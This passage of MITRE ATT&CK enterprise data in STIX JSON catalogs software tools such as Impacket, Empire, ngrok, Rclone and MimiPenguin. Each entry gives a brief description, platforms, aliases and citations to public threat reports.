Tools)","x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.7","x_mitre_contributors":["Jacob Wilkin, Trustwave, SpiderLabs"],"x_mitre_aliases":["Impacket"],"type":"tool","id":"tool--26c87906-d750-42c5-946c-d4162c73fc7b","created":"2019-01-31T01:39:56.283Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0357","external_id":"S0357"},{"source_name":"Impacket Tools","description":"SecureAuth. (n.d.). Retrieved January 15, 2019.","url":"https://www.secureauth.com/labs/open-source-tools/impacket"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-12T21:28:49.335Z","name":"ipconfig","description":"[ipconfig](https://attack.mitre.org/software/S0100) is a Windows utility that can be used to find information about a system's TCP/IP, DNS, DHCP, and adapter configuration. (Citation: TechNet Ipconfig)","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["ipconfig"],"type":"tool","id":"tool--294e2560-bd48-44b2-9da2-833b5588ad11","created":"2017-05-31T21:33:02.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0100","external_id":"S0100"},{"source_name":"TechNet Ipconfig","description":"Microsoft. (n.d.). Ipconfig. Retrieved April 17, 2016.","url":"https://technet.microsoft.com/en-us/library/bb490921.aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"AADInternals","description":"[AADInternals](https://attack.mitre.org/software/S0677) is a PowerShell-based framework for administering, enumerating, and exploiting Azure Active Directory. The tool is publicly available on GitHub.(Citation: AADInternals Github)(Citation: AADInternals Documentation)","labels":["tool"],"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Windows","Office Suite","Identity Provider"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_attack_spec_version":"3.1.0","x_mitre_aliases":["AADInternals"],"type":"tool","id":"tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756","created":"2022-02-01T15:08:45.007Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0677","external_id":"S0677"},{"source_name":"AADInternals","description":"Dr. Nestori Syynimaa. (2018, October 25). AADInternals. Retrieved February 1, 2022.","url":"https://o365blog.com/aadinternals/"},{"source_name":"AADInternals Documentation","description":"Dr. Nestori Syynimaa. (2018, October 25). AADInternals. Retrieved February 18, 2022.","url":"https://o365blog.com/aadinternals"},{"source_name":"AADInternals Github","description":"Dr. Nestori Syynimaa. (2021, December 13). AADInternals. Retrieved February 1, 2022.","url":"https://github.com/Gerenios/AADInternals"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2024-02-12T19:14:37.984Z","name":"Tasklist","description":"The [Tasklist](https://attack.mitre.org/software/S0057) utility displays a list of applications and services with their Process IDs (PID) for all tasks running on either a local or a remote computer. It is packaged with Windows operating systems and can be executed from the command-line interface. (Citation: Microsoft Tasklist)","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["Tasklist"],"type":"tool","id":"tool--2e45723a-31da-4a7e-aaa6-e01998a6788f","created":"2017-05-31T21:32:39.233Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0057","external_id":"S0057"},{"source_name":"Microsoft Tasklist","description":"Microsoft. (n.d.). Tasklist. Retrieved December 23, 2015.","url":"https://technet.microsoft.com/en-us/library/bb491010.aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-09-25T18:54:49.773Z","name":"ngrok","description":"[ngrok](https://attack.mitre.org/software/S0508) is a legitimate reverse proxy tool that can create a secure tunnel to servers located behind firewalls or on local machines that do not have a public IP. [ngrok](https://attack.mitre.org/software/S0508) has been leveraged by threat actors in several campaigns including use for lateral movement and data exfiltration.(Citation: Zdnet Ngrok September 2018)(Citation: FireEye Maze May 2020)(Citation: Cyware Ngrok May 2019)(Citation: MalwareBytes LazyScripter Feb 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_contributors":["Janantha Marasinghe"],"x_mitre_aliases":["ngrok"],"type":"tool","id":"tool--2f7f03bb-f367-4a5a-ad9b-310a12a48906","created":"2023-09-14T18:56:34.771Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0508","external_id":"S0508"},{"source_name":"Zdnet Ngrok September 2018","description":"Cimpanu, C. (2018, September 13). Sly malware author hides cryptomining botnet behind ever-shifting proxy service. Retrieved September 15, 2020.","url":"https://www.zdnet.com/article/sly-malware-author-hides-cryptomining-botnet-behind-ever-shifting-proxy-service/"},{"source_name":"Cyware Ngrok May 2019","description":"Cyware. (2019, May 29). Cyber attackers leverage tunneling service to drop Lokibot onto victims’ systems. Retrieved September 15, 2020.","url":"https://cyware.com/news/cyber-attackers-leverage-tunneling-service-to-drop-lokibot-onto-victims-systems-6f610e44"},{"source_name":"MalwareBytes LazyScripter Feb 2021","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021.","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf"},{"source_name":"FireEye Maze May 2020","description":"Kennelly, J., Goody, K., Shilko, J. (2020, May 7). Navigating the MAZE: Tactics, Techniques and Procedures Associated With MAZE Ransomware Incidents. Retrieved May 18, 2020.","url":"https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Lslsass"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"tool--2fab555f-7664-4623-b4e0-1675ae38190b","type":"tool","created":"2017-05-31T21:33:10.962Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0121","external_id":"S0121"},{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2020-03-30T16:59:48.036Z","name":"Lslsass","description":"[Lslsass](https://attack.mitre.org/software/S0121) is a publicly-available tool that can dump active logon session password hashes from the lsass process. (Citation: Mandiant APT1)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-07-25T19:24:08.305Z","name":"Arp","description":"[Arp](https://attack.mitre.org/software/S0099) displays and modifies information about a system's Address Resolution Protocol (ARP) cache. (Citation: TechNet Arp)","x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["Arp","arp.exe"],"type":"tool","id":"tool--30489451-5886-4c46-90c9-0dff9adc5252","created":"2017-05-31T21:33:02.428Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0099","external_id":"S0099"},{"source_name":"TechNet Arp","description":"Microsoft. (n.d.). Arp. Retrieved April 17, 2016.","url":"https://technet.microsoft.com/en-us/library/bb490864.aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["spwebmember"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"tool--33b9e38f-103c-412d-bdcf-904a91fff1e4","type":"tool","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0227","external_id":"S0227"},{"source_name":"spwebmember","description":"(Citation: NCC Group APT15 Alive and Strong)"},{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}],"modified":"2021-03-29T19:54:46.007Z","name":"spwebmember","description":"[spwebmember](https://attack.mitre.org/software/S0227) is a Microsoft SharePoint enumeration and data dumping tool written in .NET. (Citation: NCC Group APT15 Alive and Strong)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-25T20:32:02.152Z","name":"Empire","description":"[Empire](https://attack.mitre.org/software/S0363) is an open source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure [PowerShell](https://attack.mitre.org/techniques/T1059/001) for Windows and Python for Linux/macOS. [Empire](https://attack.mitre.org/software/S0363) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.(Citation: NCSC Joint Report Public Tools)(Citation: Github PowerShell Empire)(Citation: GitHub ATTACK Empire)","x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.8","x_mitre_aliases":["Empire","EmPyre","PowerShell Empire"],"type":"tool","id":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","created":"2019-03-11T14:13:40.648Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0363","external_id":"S0363"},{"source_name":"EmPyre","description":"(Citation: Github PowerShell Empire)"},{"source_name":"PowerShell Empire","description":"(Citation: Github PowerShell Empire)"},{"source_name":"Github PowerShell Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","url":"https://github.com/PowerShellEmpire/Empire"},{"source_name":"GitHub ATTACK Empire","description":"Stepanic, D. (2018, September 2). attck_empire: Generate ATT&CK Navigator layer file from PowerShell Empire agent logs. Retrieved March 11, 2019.","url":"https://github.com/dstepanic/attck_empire"},{"source_name":"NCSC Joint Report Public Tools","description":"The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.","url":"https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"tool--362dc67f-4e85-4562-9dac-1b6b7f3ec4b5","type":"tool","created":"2017-05-31T21:33:03.377Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0101","external_id":"S0101"},{"source_name":"Wikipedia Ifconfig","description":"Wikipedia. (2016, January 26). ifconfig. Retrieved April 17, 2016.","url":"https://en.wikipedia.org/wiki/Ifconfig"}],"modified":"2018-10-17T00:14:20.652Z","name":"ifconfig","description":"[ifconfig](https://attack.mitre.org/software/S0101) is a Unix-based utility used to gather information about and interact with the TCP/IP settings on a system. (Citation: Wikipedia Ifconfig)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-07-30T18:17:09.725Z","name":"FRP","description":"[FRP](https://attack.mitre.org/software/S1144), which stands for Fast Reverse Proxy, is an openly available tool that is capable of exposing a server located behind a firewall or Network Address Translation (NAT) to the Internet. [FRP](https://attack.mitre.org/software/S1144) can support multiple protocols including TCP, UDP, and HTTP(S) and has been abused by threat actors to proxy command and control communications.(Citation: FRP GitHub)(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: RedCanary Mockingbird May 2020)(Citation: DFIR Phosphorus November 2021)","x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["FRP"],"type":"tool","id":"tool--36dd807e-b5bc-4c3e-91ed-80682360148c","created":"2024-07-10T18:46:33.555Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1144","external_id":"S1144"},{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"},{"source_name":"FRP GitHub","description":"fatedier. (n.d.). What is frp?. Retrieved July 10, 2024.","url":"https://github.com/fatedier/frp"},{"source_name":"RedCanary Mockingbird May 2020","description":"Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020.","url":"https://redcanary.com/blog/blue-mockingbird-cryptominer/"},{"source_name":"Joint Cybersecurity Advisory Volt Typhoon June 2023","description":"NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.","url":"https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-01-04T18:56:27.812Z","name":"dsquery","description":"[dsquery](https://attack.mitre.org/software/S0105) is a command-line utility that can be used to query Active Directory for information from a system within a domain. (Citation: TechNet Dsquery) It is typically installed only on Windows Server versions but can be installed on non-server variants through the Microsoft-provided Remote Server Administration Tools bundle.","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.4","x_mitre_aliases":["dsquery","dsquery.exe"],"type":"tool","id":"tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe","created":"2017-05-31T21:33:04.937Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0105","external_id":"S0105"},{"source_name":"TechNet Dsquery","description":"Microsoft. (n.d.). Dsquery. Retrieved April 18, 2016.","url":"https://technet.microsoft.com/en-us/library/cc732952.aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:28:17.175Z","name":"PcShare","description":"[PcShare](https://attack.mitre.org/software/S1050) is an open source remote access tool that has been modified and used by Chinese threat actors, most notably during the FunnyDream campaign since late 2018.(Citation: Bitdefender FunnyDream Campaign November 2020)(Citation: GitHub PcShare 2014)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["PcShare"],"type":"tool","id":"tool--3a53b207-aba2-4a2b-9cdb-273d633669e7","created":"2022-10-13T14:07:52.541Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1050","external_id":"S1050"},{"source_name":"GitHub PcShare 2014","description":"LiveMirror. (2014, September 17). PcShare. Retrieved October 11, 2022.","url":"https://github.com/LiveMirror/pcshare"},{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-14T15:22:38.134Z","name":"RawDisk","description":"[RawDisk](https://attack.mitre.org/software/S0364) is a legitimate commercial driver from the EldoS Corporation that is used for interacting with files, disks, and partitions. The driver allows for direct modification of data on a local computer's hard drive. In some cases, the tool can enact these raw disk modifications from user-mode processes, circumventing Windows operating system security features.(Citation: EldoS RawDisk ITpro)(Citation: Novetta Blockbuster Destructive Malware)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["RawDisk"],"type":"tool","id":"tool--3ffbdc1f-d2bf-41ab-91a2-c7b857e98079","created":"2019-03-25T12:30:40.919Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0364","external_id":"S0364"},{"source_name":"EldoS RawDisk ITpro","description":"Edwards, M. (2007, March 14). EldoS Provides Raw Disk Access for Vista and XP. Retrieved March 26, 2019.","url":"https://www.itprotoday.com/windows-78/eldos-provides-raw-disk-access-vista-and-xp"},{"source_name":"Novetta Blockbuster Destructive Malware","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.","url":"https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-01-23T19:57:39.135Z","name":"netstat","description":"[netstat](https://attack.mitre.org/software/S0104) is an operating system utility that displays active TCP connections, listening ports, and network statistics. (Citation: TechNet Netstat)","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_aliases":["netstat"],"type":"tool","id":"tool--4664b683-f578-434f-919b-1c1aad2a1111","created":"2017-05-31T21:33:04.545Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0104","external_id":"S0104"},{"source_name":"TechNet Netstat","description":"Microsoft. (n.d.). Netstat. Retrieved April 17, 2016.","url":"https://technet.microsoft.com/en-us/library/bb490947.aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["PoshC2"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"tool","id":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","created":"2019-04-23T12:31:58.125Z","x_mitre_version":"1.3","external_references":[{"source_name":"mitre-attack","external_id":"S0378","url":"https://attack.mitre.org/software/S0378"},{"source_name":"GitHub PoshC2","url":"https://github.com/nettitude/PoshC2_Python","description":"Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"[PoshC2](https://attack.mitre.org/software/S0378) is an open source remote administration and post-exploitation framework that is publicly available on GitHub. The server-side components of the tool are primarily written in Python, while the implants are written in [PowerShell](https://attack.mitre.org/techniques/T1059/001). Although [PoshC2](https://attack.mitre.org/software/S0378) is primarily focused on Windows implantation, it does contain a basic Python dropper for Linux/macOS.(Citation: GitHub PoshC2)","modified":"2022-06-03T17:45:36.186Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"PoshC2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Fgdump"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"tool--4f45dfeb-fe51-4df0-8db3-edf7dd0513fe","type":"tool","created":"2017-05-31T21:33:10.569Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0120","external_id":"S0120"},{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2020-03-30T16:40:33.738Z","name":"Fgdump","description":"[Fgdump](https://attack.mitre.org/software/S0120) is a Windows password hash dumper. (Citation: Mandiant APT1)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"tool--4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b","type":"tool","created":"2017-05-31T21:33:11.941Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0123","external_id":"S0123"},{"source_name":"xCmd","description":"Rayaprolu, A.. (2011, April 12). xCmd an Alternative to PsExec. Retrieved August 10, 2016.","url":"https://ashwinrayaprolu.wordpress.com/2011/04/12/xcmd-an-alternative-to-psexec/"}],"modified":"2018-10-17T00:14:20.652Z","name":"xCmd","description":"[xCmd](https://attack.mitre.org/software/S0123) is an open source tool that is similar to [PsExec](https://attack.mitre.org/software/S0029) and allows the user to execute applications on remote systems. (Citation: xCmd)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-18T23:14:56.867Z","name":"CSPY Downloader","description":"[CSPY Downloader](https://attack.mitre.org/software/S0527) is a tool designed to evade analysis and download additional payloads used by [Kimsuky](https://attack.mitre.org/groups/G0094).(Citation: Cybereason Kimsuky November 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["CSPY Downloader"],"type":"tool","id":"tool--5256c0f8-9108-4c92-8b09-482dfacdcd94","created":"2020-11-09T14:30:35.202Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0527","external_id":"S0527"},{"source_name":"Cybereason Kimsuky November 2020","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020.","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-04T03:50:32.975Z","name":"Rclone","description":"[Rclone](https://attack.mitre.org/software/S1040) is a command line program for syncing files with cloud storage services such as Dropbox, Google Drive, Amazon S3, and MEGA. [Rclone](https://attack.mitre.org/software/S1040) has been used in a number of ransomware campaigns, including those associated with the [Conti](https://attack.mitre.org/software/S0575) and DarkSide Ransomware-as-a-Service operations.(Citation: Rclone)(Citation: Rclone Wars)(Citation: Detecting Rclone)(Citation: DarkSide Ransomware Gang)(Citation: DFIR Conti Bazar Nov 2021)","x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Edward Millington","Ian McKay"],"x_mitre_aliases":["Rclone"],"type":"tool","id":"tool--59096109-a1dd-463b-87e7-a8d110fe3a79","created":"2022-08-30T13:02:36.422Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1040","external_id":"S1040"},{"source_name":"Detecting Rclone","description":" Aaron Greetham. (2021, May 27). Detecting Rclone – An Effective Tool for Exfiltration. Retrieved August 30, 2022.","url":"https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/"},{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"},{"source_name":"Rclone Wars","description":"Justin Schoenfeld and Aaron Didier. (2021, May 4). Rclone Wars: Transferring leverage in a ransomware attack. Retrieved August 30, 2022.","url":"https://redcanary.com/blog/rclone-mega-extortion/"},{"source_name":"Rclone","description":"Nick Craig-Wood. (n.d.). Rclone syncs your files to cloud storage. Retrieved August 30, 2022.","url":"https://rclone.org"},{"source_name":"DarkSide Ransomware Gang","description":"Ramarcus Baylor. (2021, May 12). DarkSide Ransomware Gang: An Overview. Retrieved August 30, 2022.","url":"https://unit42.paloaltonetworks.com/darkside-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["tool"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Vincent Le Toux"],"x_mitre_aliases":["MimiPenguin"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"tool--5a33468d-844d-4b1f-98c9-0e786c556b27","type":"tool","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0179","external_id":"S0179"},{"source_name":"MimiPenguin GitHub May 2017","description":"Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5, 2017.","url":"https://github.com/huntergregal/mimipenguin"}],"modified":"2021-10-15T16:57:34.776Z","name":"MimiPenguin","description":"[MimiPenguin](https://attack.mitre.org/software/S0179) is a credential dumper, similar to [Mimikatz](https://attack.mitre.org/software/S0002), designed specifically for Linux platforms. (Citation: MimiPenguin GitHub May 2017)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-01-17T22:14:55.797Z","name":"netsh","description":"[netsh](https://attack.mitre.org/software/S0108) is a scripting utility used to interact with networking components on local or 